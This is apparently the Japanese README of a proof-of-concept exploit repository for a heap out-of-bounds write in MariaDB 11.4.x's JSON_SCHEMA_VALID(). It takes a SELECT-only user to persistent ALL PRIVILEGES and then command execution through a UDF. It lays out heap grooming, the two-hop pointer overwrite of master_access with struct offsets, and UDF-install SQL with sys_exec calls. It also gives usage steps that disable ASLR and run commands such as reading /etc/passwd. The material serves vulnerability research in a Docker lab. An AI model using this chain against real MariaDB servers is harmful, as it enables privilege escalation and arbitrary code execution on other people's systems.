
ヒープ領域外書き込み(OOB write)がMariaDBのJSON_SCHEMA_VALID()に存在 → 永続的な権限昇格(ラボ支援)
MariaDB JSON_SCHEMA_VALID() におけるヒープバッファオーバーフロー → 永続的な権限昇格 → UDF RCE
| 影響を受けるバージョン | MariaDB 11.4.x(11.4.9 で確認) |
| バグ | json_get_normalized_string() における OOB 書き込み — 境界チェックなしで 128 バイトの DYNAMIC_STRING に strncpy を実行 |
| 影響 | SELECT のみのユーザー → ALL PRIVILEGES WITH GRANT OPTION → UDF による任意コマンド実行 |
| ソース | sql/json_schema_helper.cc:91 |
ラボ支援あり。 このスクリプトは Docker / root による内部調査を使用して
/proc/1/memを読み取り、接続ごとのヒープレイアウトを特定します。実際の エクスプロイトチェーンは TCP 上の純粋な SQL です。実戦用エクスプロイトには、 メモリ内部調査ステップを置き換える情報漏洩プリミティブが必要です。
lowpriv は test データベースに対してのみ SELECT を実行できます。システムテーブルは拒否されます。

単一の Python スクリプトがヒープグルーミング、ユーザー変数メタデータを介した 2 ホップの任意書き込みを実行し、GRANT ALL による権限昇格を永続化し、UDF によるコード実行を達成します:
python3 exploit.py

lowpriv は現在 ALL PRIVILEGES WITH GRANT OPTION を保持し、システムテーブルの読み取り、任意ファイルの読み書き、mysql ユーザーとしての OS コマンド実行が可能です。この権限付与はサーバー再起動後も維持されます。


┌──────────────────────────────────────────────────────────────────┐
│ SELECT json_schema_valid(overflow), │
│ @ccc...c := hop1, │
│ @aaa...a := hop2 │
└──────────────────────────────────────────────────────────────────┘
│ │ │
▼ ▼ ▼
┌───────────┐ ┌──────────────┐ ┌──────────────┐
│ 192バイト │ │ @c への書き込み│ │ @a への書き込み│
│ オーバー │ │ 破損した │ │ リダイレクト │
│ フローが │ │ ポインタ経由: │ │ されたポインタ│
│ entry_c の│ │ │ │ 経由: │
│ value ポ │ │ entry_a → │ │ master_access│
│ インタを │ │ .value = │ │ = 0xFFFF.. │
│ 破壊 │ │ &master_ │ │ (ALL PRIVS) │
│ (2バイト │ │ access │ │ │
│ 部分 │ │ .length= 9 │ └──────────────┘
│ 上書き) │ │ │
└───────────┘ └──────────────┘
ヒープグルーミング — 100 以上のユーザー変数で tcache を枯渇させ、
Entry_a → Value_a → Entry_b → Value_b → Entry_c → Value_c が
連続して割り当てられるように強制します。
オーバーフロー — JSON_SCHEMA_VALID が 128 バイトのバッファを超える
192 バイトの strncpy をトリガーし、entry_c→value(同じ 64 KB ページ内の
2 バイト部分ポインタ上書き)を破損させて entry_a + 32 を指すようにします。
ホップ 1 — @c への代入が破損したポインタを通じて 126 バイトを
entry_a のメタデータに書き込み、以下を設定します:
entry_a→value = &Security_context::master_accessentry_a→length = 9ホップ 2 — @a への代入がリダイレクトされた entry_a→value ポインタを
通じて 8 バイトの 0xFF を書き込み → 。
永続化後、サーバーが再起動され(クラッシュリカバリ)、昇格した権限を使用して UDF 共有ライブラリがインストールされます:
LOAD_FILE('/tmp/raptor_udf.so') INTO DUMPFILE '/usr/lib/mysql/plugin/raptor.so'CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'raptor.so'SELECT sys_exec('id > /tmp/pwned')# 1. コンテナをビルドして起動
./setup.sh
# 2. Docker ホストで ASLR を無効化
sudo sh -c 'echo 0 > /proc/sys/kernel/randomize_va_space'
# 3. エクスプロイトを実行(試行ごとに自動キャリブレーション)
python3 exploit.py
# 4. カスタムコマンド
python3 exploit.py --cmd 'cat /etc/passwd > /tmp/out'
/proc/sys/kernel/randomize_va_space = 0)--cap-add SYS_PTRACE で実行(/proc/1/mem アクセス用)--calibrate ヒープレイアウト定数を測定して終了
--cmd CMD ステージ 2 の UDF 実行コマンド(デフォルト: id > /tmp/pwned)
--stage1-only 権限昇格のみ実行し、UDF RCE をスキップ
--attempts N ステージ 1 の最大試行回数(デフォルト: 5)
--host HOST MariaDB ホスト(デフォルト: 127.0.0.1)
--port PORT MariaDB ポート(デフォルト: 3306)
エクスプロイトスクリプトはコンテナに root としてシェル接続し、/proc/1/mem を読み取ります。
これは次の 2 つの目的で使用されます:
user_var_entry 構造体を特定し、
それらが隣接していることを確認(2 バイト部分上書き用に entry_a+32 が entry_c→value と
同じ 64 KB ページ内にあること)。Security_context アドレス — 2 ホップ書き込みのターゲットとなる
master_access フィールドを特定。スキャンは各試行でインライン実行されます。これは、MariaDB のスレッドプールが 異なるアリーナを割り当てるため、ヒープレイアウトが接続ごとに異なる(ASLR=0 でも) ためです。実際のエクスプロイトチェーン — オーバーフロー + hop1 + hop2 — は TCP 接続で実行される純粋な SQL です。
実世界のシナリオでは、攻撃者はこれらのアドレスを取得するために別の情報漏洩 脆弱性(またはサイドチャネル)が必要になります。
master_access = ALL PRIVILEGES永続化 — セッションは現在すべての権限を保持します。GRANT ALL が
Aria バックエンドの mysql.global_priv テーブルに権限昇格をコミットします。
セッションは最終的にクリーンアップ中にクラッシュします(残存するヒープ破損)が、
GRANT はすでにチェックポイントされており、再起動後も維持されます。
| 制約 | 解決策 |
|---|
STRING_RESULT は再割り当てチェック前に length++ を実行 | ペイロードを N−1 バイトにして N−1+1 = N が保存済み length と一致するようにし、破損したポインタでの再割り当てを回避 |
126 バイトの hop2 が Security_context を超えて THD フィールドを破損 | hop1 で entry_a→length = 9 を設定し、hop2 が 8 バイト(master_access)+ 1 NUL のみ書き込むようにする |
Security_context 内の master_access オフセット | 構造体ベースから 1712 バイト(priv_user[384] + proxy_user[645] + priv_host[256] + priv_role[384] + パディング + ポインタ) |
| Aria クラッシュリカバリが未コミットの書き込みをロールバック | GRANT ALL + 10 秒の SLEEP により、セッションクリーンアップ時のクラッシュ前に Aria チェックポイントを実行 |
| ヒープレイアウトは接続ごとに異なる(ASLR=0 でも) | 試行ごとのインライン /proc/1/mem スキャンで各接続の entry_a と master_access を特定 |
| plugin_dir は root 所有 | Dockerfile が事前に chmod 777 を設定(ラボの便宜のため) |
| ファイル | 説明 |
|---|
exploit.py | 2 ステージエクスプロイト: 権限昇格(TCP SQL)+ UDF RCE |
raptor_udf.c | UDF ソース — sys_exec() が system() を呼び出し |
Dockerfile | ラボコンテナイメージ(UDF をコンパイル、plugin_dir を開放) |
init.sql | lowpriv ユーザーを作成 |
setup.sh | ラボをビルドして起動 |
screenshots/ | ターミナルスクリーンショット |